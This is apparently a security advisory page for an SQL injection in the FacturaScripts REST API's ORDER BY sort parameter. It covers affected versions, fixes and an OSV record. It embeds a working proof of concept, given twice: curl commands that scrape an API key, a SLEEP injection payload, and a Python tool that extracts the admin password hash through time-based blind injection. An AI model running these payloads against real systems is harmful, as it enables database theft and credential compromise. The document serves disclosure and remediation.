CVE-2026-25513: Facturascripts/facturascripts SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-cjfx-qhwm-hf99
Advisory Summary

CVE-2026-25513 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Facturascripts/facturascripts libraries in the Packagist ecosystem. The issue involves facturascripts has sql injection in api order by clause. Remediation is available by upgrading affected packages to version 2025.81.

CVE-2026-25513 at a Glance

CVE Identifier CVE-2026-25513
GHSA Identifier GHSA-cjfx-qhwm-hf99
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Facturascripts/facturascripts
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-25513

To remediate this vulnerability, upgrade all affected Facturascripts/facturascripts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

facturascripts/facturascripts fixed: 2025.81
Upgrade facturascripts/facturascripts to 2025.81
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for facturascripts/facturascripts

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25513, inspect your project dependencies for Facturascripts/facturascripts:

inspect dependencies for facturascripts/facturascripts

Analyze the terminal output to locate any version of Facturascripts/facturascripts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2025.81), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Facturascripts/facturascripts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary **FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality. --- ### Details The FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function. #### Vulnerable Code Locations **1. Legacy Models:** **File:** `/Core/Model/Base/ModelClass.php` **Method:** `getOrderBy()` Direct concatenation of keys and values from the `$order` array. **2. Modern Models (DbQuery):** **File:** `/Core/DbQuery.php` **Method:** `orderBy()` **Lines:** 255-259 ```php // If it contains parentheses, it is not escaped (VULNERABILITY!) if (strpos($field, '(') !== false && strpos($field, ')') !== false) { $this->orderBy[] = $field . ' ' . $order; return $this; } ``` This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection. --- ### Proof of Concept (PoC) #### Prerequisites - Valid API authentication token (X-Auth-Token header) - Access to FacturaScripts API endpoints #### Step-by-Step Verification (CLI) Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key. **1. Login and Retrieve a valid API key:** We handle the CSRF token and session cookies to access the settings and retrieve the first available key. ```bash # Login TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1) curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN" # Find the ID of the first existing API key API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1) # Extract the API key string using its ID API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1) echo "Using API Key: $API_KEY" ``` **2. Verify Time-Based SQL Injection:** Use the extracted `API_KEY` in the `X-Auth-Token` header. ```bash # Normal request (baseline) time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1" # Injected request (SLEEP payload in the sort key) time curl -g -s -H "X-Auth-Token: $API_KEY" \ "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC" ``` **Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection. --- #### Automated Exploitation Tool This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection. ```python import requests import time import string import re # Configuration BASE_URL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" API_ENDPOINT = "/api/3/users" session = requests.Session() def get_token(url): """Extract multireqtoken from any page""" res = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text) return match.group(1) if match else None def get_api_key(): """Logs in and retrieves the first active API key dynamically""" print(f"[*] Logging in as {USERNAME}...") # 1. Login flow token = get_token(f"{BASE_URL}/login") if not token: print("[!] Failed to get initial CSRF token") return None login_data = { "fsNick": USERNAME, "fsPassword": PASSWORD, "action": "login", "multireqtoken": token } res = session.post(f"{BASE_URL}/login", data=login_data) if "Dashboard" not in res.text: print("[!] Login failed!") return None print("[+] Login successful.") # 2. Retrieve API Key ID from settings print("[*] Accessing API settings...") res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey") id_match = re.search(r'EditApiKey\?code=(\d+)', res.text) if not id_match: print("[!] No API keys found in system!") return None api_id = id_match.group(1) # 3. Get the actual API key string print(f"[*] Retrieving API key for ID {api_id}...") res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}") key_match = re.search(r'name="apikey" value="([^"]+)"', res.text) if not key_match: print("[!] Failed to extract API key from page!") return None return key_match.group(1) def time_based_sqli(api_key, payload): """Execute time-based SQL injection and measure response time""" headers = {"X-Auth-Token": api_key} params = { 'limit': 1, f'sort[{payload}]': 'ASC' } start = time.time() try: requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10) except requests.exceptions.ReadTimeout: return 10.0 except: pass return time.time() - start def extract_data(api_key, query, length=60): """Extracts data char by char using time-based blind SQLi""" extracted = "" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./" print(f"[*] Starting extraction for query: {query}") for i in range(1, length + 1): found = False for char in charset: # Added BINARY to force case-sensitive comparison payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))" elapsed = time_based_sqli(api_key, payload) if elapsed >= 2.0: extracted += char print(f"[+] Found char at pos {i}: {char} -> {extracted}") found = True break if not found: break return extracted def main(): print("="*60) print(" FacturaScripts Dynamic SQLi Exfiltration Tool") print("="*60) # 1. Get API Key dynamically api_key = get_api_key() if not api_key: return print(f"[+] Using API Key: {api_key}") # 2. Verify vulnerability print("[*] Verifying vulnerability...") if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0: print("[+] System is VULNERABLE!") else: print("[-] System not vulnerable or API key invalid.") return # 3. Extract Admin Password Hash admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'") print(f"\n[!] FINAL ADMIN HASH: {admin_hash}") if __name__ == "__main__": main() ``` <img width="862" height="1221" alt="image" src="https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273" /> --- ### Impact #### Data Confidentiality - **Complete database disclosure** through blind SQL Injection techniques - Extraction of sensitive data including: - User credentials and API keys - Customer PII (personal identifiable information) - Financial records and transaction data - Business intelligence and pricing information - System configuration and secrets #### Who is Impacted? - **Organizations using FacturaScripts API** for integrations - **Mobile apps and third-party integrations** using the API - **All users whose data is accessible via API** - **Business partners with API access** --- ### Recommended Fix #### Immediate Remediation **Option 1: Implement Strict Whitelist Validation (Recommended)** ```php // File: Core/Model/Base/ModelClass.php // Method: getOrderBy() private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY '; // Get valid column names from model $validColumns = array_keys(static::getModelFields()); foreach ($order as $key => $value) { // Validate column name against whitelist if (!in_array($key, $validColumns, true)) { throw new \Exception('Invalid column name for sorting: ' . $key); } // Validate sort direction (must be ASC or DESC) $value = strtoupper(trim($value)); if (!in_array($value, ['ASC', 'DESC'], true)) { throw new \Exception('Invalid sort direction: ' . $value); } // Escape column name $safeColumn = self::$dataBase->escapeColumn($key); $result .= $coma . $safeColumn . ' ' . $value; $coma = ', '; } return $result; } ``` **Option 2: Use Database Escaping Functions** ```php private static function getOrderBy(array $order): string { $result = ''; $coma = ' ORDER BY '; foreach ($order as $key => $value) { // Escape identifiers and validate direction $safeColumn = self::$dataBase->escapeColumn($key); $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC']) ? strtoupper($value) : 'ASC'; $result .= $coma . $safeColumn . ' ' . $safeDirection; $coma = ', '; } return $result; } ``` **Option 3: Use Query Builder Pattern** ```php // Refactor to use prepared statements public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array { $query = self::table(); // Apply WHERE conditions foreach ($where as $condition) { $query->where($condition); } // Apply ORDER BY with validation foreach ($order as $column => $direction) { if (!array_key_exists($column, static::getModelFields())) { continue; // Skip invalid columns } $query->orderBy($column, $direction); } return $query->offset($offset)->limit($limit)->get(); } ``` #### API Security Best Practices ```php // Add to API configuration $config = [ 'max_sort_fields' => 3, // Limit number of sort fields 'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist 'default_sort' => 'id ASC', // Safe default ]; ``` --- ### Credits **Discovered by:** Łukasz Rybak

CVE-2026-25513 Affected Facturascripts/facturascripts Versions

1 component(s)
Fixed Versions:
2025.81
Product / Package Ecosystem Affected Versions Fixed Version
facturascripts/facturascripts
Packagist
< 2025.81
2025.81

References

Frequently Asked Questions

What is CVE-2026-25513?
CVE-2026-25513 is a security vulnerability in Facturascripts/facturascripts involving FacturaScripts has SQL Injection in API ORDER BY Clause under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Facturascripts/facturascripts versions are affected?
Affected versions include releases prior to 2025.81 across affected packages: facturascripts/facturascripts.
What version fixes CVE-2026-25513?
Upgrading to 2025.81 (or the latest patched release for your respective branch) resolves the vulnerability.
Is facturascripts/facturascripts affected?
Yes, facturascripts/facturascripts is affected in releases prior to 2025.81. Upgrade your dependency to 2025.81 or later.
What CWE is associated with CVE-2026-25513?
CVE-2026-25513 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-25513?
Run the dependency tree command: 'inspect dependencies for facturascripts/facturascripts'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cjfx-qhwm-hf99",
  "modified" : "2026-02-04T21:57:11Z",
  "published" : "2026-02-03T18:14:43Z",
  "aliases" : [ "CVE-2026-25513" ],
  "summary" : "FacturaScripts has SQL Injection in API ORDER BY Clause",
  "details" : "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n        // If it contains parentheses, it is not escaped (VULNERABILITY!)\n        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {\n            $this->orderBy[] = $field . ' ' . $order;\n            return $this;\n        }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po 'EditApiKey\\?code=\\K\\d+' | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po 'name=\"apikey\" value=\"\\K[^\"]+' | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n  \"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n    \"\"\"Extract multireqtoken from any page\"\"\"\n    res = session.get(url)\n    match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', res.text)\n    return match.group(1) if match else None\n\ndef get_api_key():\n    \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    \n    # 1. Login flow\n    token = get_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get initial CSRF token\")\n        return None\n        \n    login_data = {\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD,\n        \"action\": \"login\",\n        \"multireqtoken\": token\n    }\n    res = session.post(f\"{BASE_URL}/login\", data=login_data)\n    if \"Dashboard\" not in res.text:\n        print(\"[!] Login failed!\")\n        return None\n    print(\"[+] Login successful.\")\n\n    # 2. Retrieve API Key ID from settings\n    print(\"[*] Accessing API settings...\")\n    res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n    id_match = re.search(r'EditApiKey\\?code=(\\d+)', res.text)\n    if not id_match:\n        print(\"[!] No API keys found in system!\")\n        return None\n    \n    api_id = id_match.group(1)\n    \n    # 3. Get the actual API key string\n    print(f\"[*] Retrieving API key for ID {api_id}...\")\n    res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n    key_match = re.search(r'name=\"apikey\" value=\"([^\"]+)\"', res.text)\n    if not key_match:\n        print(\"[!] Failed to extract API key from page!\")\n        return None\n        \n    return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n    \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n    headers = {\"X-Auth-Token\": api_key}\n    params = {\n        'limit': 1,\n        f'sort[{payload}]': 'ASC'\n    }\n    start = time.time()\n    try:\n        requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n    except requests.exceptions.ReadTimeout:\n        return 10.0\n    except:\n        pass\n    return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n    \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n    extracted = \"\"\n    charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n    \n    print(f\"[*] Starting extraction for query: {query}\")\n    for i in range(1, length + 1):\n        found = False\n        for char in charset:\n            # Added BINARY to force case-sensitive comparison\n            payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))\"\n            elapsed = time_based_sqli(api_key, payload)\n            \n            if elapsed >= 2.0:\n                extracted += char\n                print(f\"[+] Found char at pos {i}: {char} -> {extracted}\")\n                found = True\n                break\n        if not found:\n            break\n    return extracted\n\ndef main():\n    print(\"=\"*60)\n    print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n    print(\"=\"*60)\n\n    # 1. Get API Key dynamically\n    api_key = get_api_key()\n    if not api_key:\n        return\n    print(f\"[+] Using API Key: {api_key}\")\n\n    # 2. Verify vulnerability\n    print(\"[*] Verifying vulnerability...\")\n    if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") >= 2.0:\n        print(\"[+] System is VULNERABLE!\")\n    else:\n        print(\"[-] System not vulnerable or API key invalid.\")\n        return\n\n    # 3. Extract Admin Password Hash\n    admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick='admin'\")\n    print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n<img width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" />\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n  - User credentials and API keys\n  - Customer PII (personal identifiable information)\n  - Financial records and transaction data\n  - Business intelligence and pricing information\n  - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    // Get valid column names from model\n    $validColumns = array_keys(static::getModelFields());\n\n    foreach ($order as $key => $value) {\n        // Validate column name against whitelist\n        if (!in_array($key, $validColumns, true)) {\n            throw new \\Exception('Invalid column name for sorting: ' . $key);\n        }\n\n        // Validate sort direction (must be ASC or DESC)\n        $value = strtoupper(trim($value));\n        if (!in_array($value, ['ASC', 'DESC'], true)) {\n            throw new \\Exception('Invalid sort direction: ' . $value);\n        }\n\n        // Escape column name\n        $safeColumn = self::$dataBase->escapeColumn($key);\n        $result .= $coma . $safeColumn . ' ' . $value;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    foreach ($order as $key => $value) {\n        // Escape identifiers and validate direction\n        $safeColumn = self::$dataBase->escapeColumn($key);\n        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])\n            ? strtoupper($value)\n            : 'ASC';\n\n        $result .= $coma . $safeColumn . ' ' . $safeDirection;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n    $query = self::table();\n\n    // Apply WHERE conditions\n    foreach ($where as $condition) {\n        $query->where($condition);\n    }\n\n    // Apply ORDER BY with validation\n    foreach ($order as $column => $direction) {\n        if (!array_key_exists($column, static::getModelFields())) {\n            continue; // Skip invalid columns\n        }\n        $query->orderBy($column, $direction);\n    }\n\n    return $query->offset($offset)->limit($limit)->get();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n    'max_sort_fields' => 3,  // Limit number of sort fields\n    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist\n    'default_sort' => 'id ASC',  // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "facturascripts/facturascripts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2025.81"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NeoRazorX/facturascripts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1286", "CWE-20", "CWE-89", "CWE-943" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-03T18:14:43Z",
    "nvd_published_at" : "2026-02-04T20:16:07Z"
  }
}